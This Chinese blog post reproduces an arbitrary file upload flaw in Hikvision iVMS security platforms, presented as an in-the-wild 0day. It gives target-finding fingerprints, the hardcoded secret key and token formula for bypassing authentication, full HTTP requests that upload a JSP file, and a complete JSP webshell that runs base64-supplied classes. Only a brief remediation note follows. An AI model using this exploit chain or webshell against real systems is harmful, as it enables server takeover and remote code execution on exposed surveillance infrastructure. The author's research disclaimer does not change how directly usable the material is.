【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)
文章目录
- 前言
- 声明
- 一、产品简介
- 二、漏洞概述
- 三、影响范围
- 四、漏洞验证
- 五、漏洞利用
- 六、修复建议
前言
海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。
声明
本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
一、产品简介
海康威视 iVMS 集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、连网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。
二、漏洞概述
海康威视 iVMS系统存在在野利用 0day漏洞,攻击者可通过获取密钥任意构造token,请求/resourceOperations/upload 接口任意上传文件,导致获取服务器WebShell权限,同时可远程进行恶意代码执行。
三、影响范围
海康威视综合安防系统 iVMS-5000
海康威视综合安防系统 iVMS-8700
四、漏洞验证
鹰图指纹: web.body=" /views/home/file/installPackage.rar"
hunter指纹: web.icon==" 3670cbb1369332b296ce44a94b7dd685"
漏洞url:/eps/api/resourceOperations/upload
测试脚本: https://github.com/sccmdaveli/hikvision-poc
脚本验证
手工测试
bp抓起首页包,尝试访问接口 (这里出现token需要进行鉴权)
数据包如下:
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=60F93668C907B8C1E8E7A1C16A382723
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57service=http%3A%2F%2FX.X.X.X%2Fhome%2Findex.action
构造token绕过认证 (内部机制:如果token值与请求url+secretkey
的MD5值相同就可以绕过认证)
secretkey是代码里写死的 (默认值:secretKeyIbuilding
)
token值需要进行MD5加密 (32位大写
)
组合:token=MD5 (url+" secretKeyIbuilding")
MD5加密网址:https://www.sojson.com/encrypt_md5.html
http://X.X.X.X/eps/api/resourceOperations/uploadsecretKeyIbuilding
MD5 32位大写: ************************
再次验证:
数据包:
POST /eps/api/resourceOperations/upload?token=9A*************************A0 HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 63service=http%3A%2F%2FX.X.X.X%3AXXXX%2Fhome%2Findex.action
可以看出,已经成功绕过!!!
构造文件上传Payload
POST /eps/api/resourceOperations/upload?token=9A******************************A0 HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5
Connection: close
Content-Type: multipart/form-data;boundary=f7d1250b2d43db9324c19e1073573ce6
Content-Length: 179--f7d1250b2d43db9324c19e1073573ce6
Content-Disposition: form-data; name="fileUploader"; filename="1.jsp"
Content-Type: image/jpegtest
--f7d1250b2d43db9324c19e1073573ce6—
Web访问:http://X.X.X.X/eps/upload/resourceUuid值.jsp
五、漏洞利用
Tips:谨慎操作
以下为JSP木马
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
该漏洞利用方式简便,危害极高,建议及时修复!!!
六、修复建议
关闭互联网暴露面访问的权限,文件上传模块做好权限强认证
建议各单位对应用进行排查,以免造成其他影响。
【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)相关推荐
- 海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)
0x01 产品简介 海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控.联网报警.智能分析.运维管理等多种安全防范应用系统,构建的多业务应用综合管 ...
- 海康威视iVMS综合安防系统任意文件上传漏洞复现 (0day)
前言 此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 一.漏洞描述 海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations ...
- Goby 漏洞更新 | 万户 OA OfficeServer.jsp 任意文件上传漏洞
漏洞名称:万户 OA OfficeServer.jsp 任意文件上传漏洞 English Name:ezOFFICE OA OfficeServer.jsp Arbitrarily File Uplo ...
- 【漏洞复现】泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)
0x01 漏洞概述 泛微e-office是泛微旗下的一款标准的协同移动办公平台. 泛微e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行,攻击者可 ...
- Goby 漏洞更新 |海康威视部分iVMS系统存在文件上传漏洞
漏洞名称:海康威视部分iVMS系统存在文件上传漏洞 English Name:Some Hikvision iVMS file upload vulnerabilitie CVSS core: 9.8 ...
- vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...
文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...
- FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- 畅捷通T+ v17任意文件上传漏洞复现
1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...
- 网安基础学习之“文件上传漏洞原理与实现”
网安基础学习之"文件上传漏洞原理与实现" 近期新闻头条上报出了"长沙市场监管局网站被上传了黄色页面",经过长沙市公安局网技支队的排查,该门户网站后台编辑器存在* ...
最新文章
- Can I compile and run Dx11Shader for Maya 2015 on my side?
- 23、OSPF配置实验之特殊区域Totally NSSA
- 关于海量数据的SQL查询优化.........
- 早上起床时需要的重力
- mysql有状态无状态_k8s statefulSet 有状态应用和无状态应用区别
- es6 Promise 的应用
- .Net中数据绑定控件应用小技巧
- python流程图自动生成_python自动化办公 自动生成PPT通报
- svn 服务器修改密码,用户自行修改svn密码的简单服务
- 【python爬虫笔记】验证码
- 可编辑div的一些方法总结(二)自定义空格和回车事件
- xshell6设置选中复制 右键粘贴复制内容
- TCP/IP:认识TCP
- wireshark https 抓包
- Ardunio开发实例-被动红外(PIR)运动传感器使用
- 利用selenium实现淘宝双十一抢购商品
- 答群友公式推导疑问:守恒和非守恒公式的动量方程推导
- 赛扬处理器_J4015处理器!品铂新款X10上市!_IT业界行情
- Streams AQ: qmn coordinator waiting for slave to start
- P2255 [USACO14JAN]记录奥林比克
热门文章
- Facebook发布 Wedge 100 ToR 交换机及光模块规范
- java 输入数组,最大的与第一个元素交换,最小的与最后一个元素交换,输出数组
- 4090显卡上部署 Baichuan-13B-Chat
- linux下运行c语言程序报Segmentation Fault的定位方法
- 加油站的良好出发点问题
- 积分兑换商城运营的出发点是什么
- AntdPro+react 动态路由
- 盘点国内热门AI大模型
- 福利来啦,软件测试入行者的福音,测试项目实战它来了
- matlab三元函数泰勒展开,如何用matlab绘制三元函数f(x,y,z)=x^2 y^3 z^4在[-1,1]x[-2,2]x[-3,3] 上的各...